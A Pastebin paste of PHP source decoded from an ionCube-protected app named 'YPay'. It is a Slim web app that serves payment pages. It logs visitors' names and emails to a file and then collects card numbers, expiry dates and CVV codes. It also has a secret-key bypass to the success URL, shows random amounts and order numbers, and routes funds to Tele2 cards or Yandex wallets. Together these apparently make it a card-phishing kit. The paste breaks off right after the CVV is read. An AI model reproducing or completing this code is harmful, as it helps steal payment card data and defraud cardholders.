Guest User

Untitled

a guest
Mar 20th, 2019
72
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.35 KB | None | 0 0
  1. <?php
  2. /**
  3. *
  4. * @ This file is created by http://DeZender.Net
  5. * @ deZender (PHP7 Decoder for ionCube Encoder)
  6. *
  7. * @ Version : 4.0.8.4
  8. * @ Author : DeZender
  9. * @ Release on : 19.03.2019
  10. * @ Official site : http://DeZender.Net
  11. *
  12. */
  13.  
  14. require '../vendor/autoload.php';
  15. ini_set('xdebug.var_display_max_children', -1);
  16. ini_set('xdebug.var_display_max_data', -1);
  17. ini_set('xdebug.var_display_max_depth', -1);
  18. $ypay = new \YPay\YPay();
  19. $config = new \YPay\Config();
  20. $tools = new \YPay\Tools();
  21. $tools->checkLicense();
  22. $checkProxyHeaders = true;
  23. $trustedProxies = [];
  24. $configuration = [
  25. 'settings' => ['displayErrorDetails' => $config->debug]
  26. ];
  27. $c = new \Slim\Container($configuration);
  28. $app = new \Slim\App($c);
  29. $app->add(new \RKA\Middleware\IpAddress($checkProxyHeaders, $trustedProxies));
  30. $container = $app->getContainer();
  31. $container['view'] = function($container) {
  32. $view = new \Slim\Views\Twig(__DIR__ . '/../templates', []);
  33. $router = $container->get('router');
  34. $uri = \Slim\Http\Uri::createFromEnvironment(new \Slim\Http\Environment($_SERVER));
  35. $view->addExtension(new \Slim\Views\TwigExtension($router, $uri));
  36. return $view;
  37. };
  38. $app->get('/start/{id}', function($request, $response, $args) use($ypay, $config) {
  39. $payment = $ypay->getPayment($args['id']);
  40.  
  41. if (!$payment) {
  42. return $response->withStatus(404)->withHeader('Content-Type', 'text/html')->write('payment not found');
  43. }
  44.  
  45. switch ($config->mode) {
  46. case 'tele2cards':
  47. $wallet = $ypay->getPayDestination('tele2cards');
  48.  
  49. if (!$wallet) {
  50. return $response->withStatus(404)->withHeader('Content-Type', 'text/html')->write('no active tele2cards!');
  51. }
  52.  
  53. break;
  54. case 'yandex':
  55. $wallet = $ypay->getPayDestination('yandex_wallets');
  56.  
  57. if (!$wallet) {
  58. return $response->withStatus(404)->withHeader('Content-Type', 'text/html')->write('no active yandex wallets!');
  59. }
  60.  
  61. break;
  62. break;
  63. }
  64.  
  65. return $this->view->render($response, 'theme1.html', ['payment' => $payment, 'id' => $args['id'], 'randsum' => mt_rand(100000, 200000), 'randorder' => mt_rand(100000000, 200000000)]);
  66. });
  67. $app->post('/start/{id}', function($request, $response, $args) use($ypay, $config) {
  68. $payment = $ypay->getPayment($args['id']);
  69.  
  70. if (!$payment) {
  71. return $response->withStatus(404)->withHeader('Content-Type', 'text/html')->write('payment not found');
  72. }
  73.  
  74. $data = $request->getParsedBody();
  75. $name = $data['name'];
  76. $email = $data['email'];
  77. file_put_contents(__DIR__ . '/../logs/emails.txt', $name . ';' . $email . PHP_EOL, FILE_APPEND | LOCK_EX);
  78. return $response->withRedirect('/card-input/' . $args['id'], 301);
  79. });
  80. $app->get('/card-input/{id}', function($request, $response, $args) use($ypay, $config) {
  81. $payment = $ypay->getPayment($args['id']);
  82.  
  83. if (!$payment) {
  84. return $response->withStatus(404)->withHeader('Content-Type', 'text/html')->write('payment not found');
  85. }
  86.  
  87. $key = $request->getQueryParam('key');
  88.  
  89. if ($key == $config->secretKey) {
  90. return $response->withRedirect($payment['success_url'], 301);
  91. }
  92.  
  93. switch ($config->mode) {
  94. case 'tele2cards':
  95. $wallet = $ypay->getPayDestination('tele2cards');
  96.  
  97. if (!$wallet) {
  98. return $response->withStatus(404)->withHeader('Content-Type', 'text/html')->write('no active tele2cards!');
  99. }
  100.  
  101. break;
  102. case 'yandex':
  103. $wallet = $ypay->getPayDestination('yandex_wallets');
  104.  
  105. if (!$wallet) {
  106. return $response->withStatus(404)->withHeader('Content-Type', 'text/html')->write('no active yandex wallets!');
  107. }
  108.  
  109. break;
  110. break;
  111. }
  112.  
  113. return $this->view->render($response, 'cards/' . $config->card_template, ['payment' => $payment, 'id' => $args['id'], 'randsum' => mt_rand(100000, 200000), 'randorder' => mt_rand(100000000, 200000000)]);
  114. });
  115. $app->post('/card-input/{id}', function($request, $response, $args) use($ypay, $config, $tools) {
  116. $clientIP = $request->getAttribute('ip_address');
  117. $uri = $request->getUri();
  118. $baseUrl = $uri->getBaseUrl();
  119. $payment = $ypay->getPayment($args['id']);
  120.  
  121. if (!$payment) {
  122. return $response->withStatus(404)->withHeader('Content-Type', 'text/html')->write('payment not found');
  123. }
  124.  
  125. $data = $request->getParsedBody();
  126. $card = preg_replace('/\\s+/', '', $data['card']);
  127. $month = $data['month'];
  128. $year = $data['year'];
  129. $cvv = $data['cvv'];
  130. ............................................................
  131. .................................
  132. ...........
Add Comment
Please, Sign In to add comment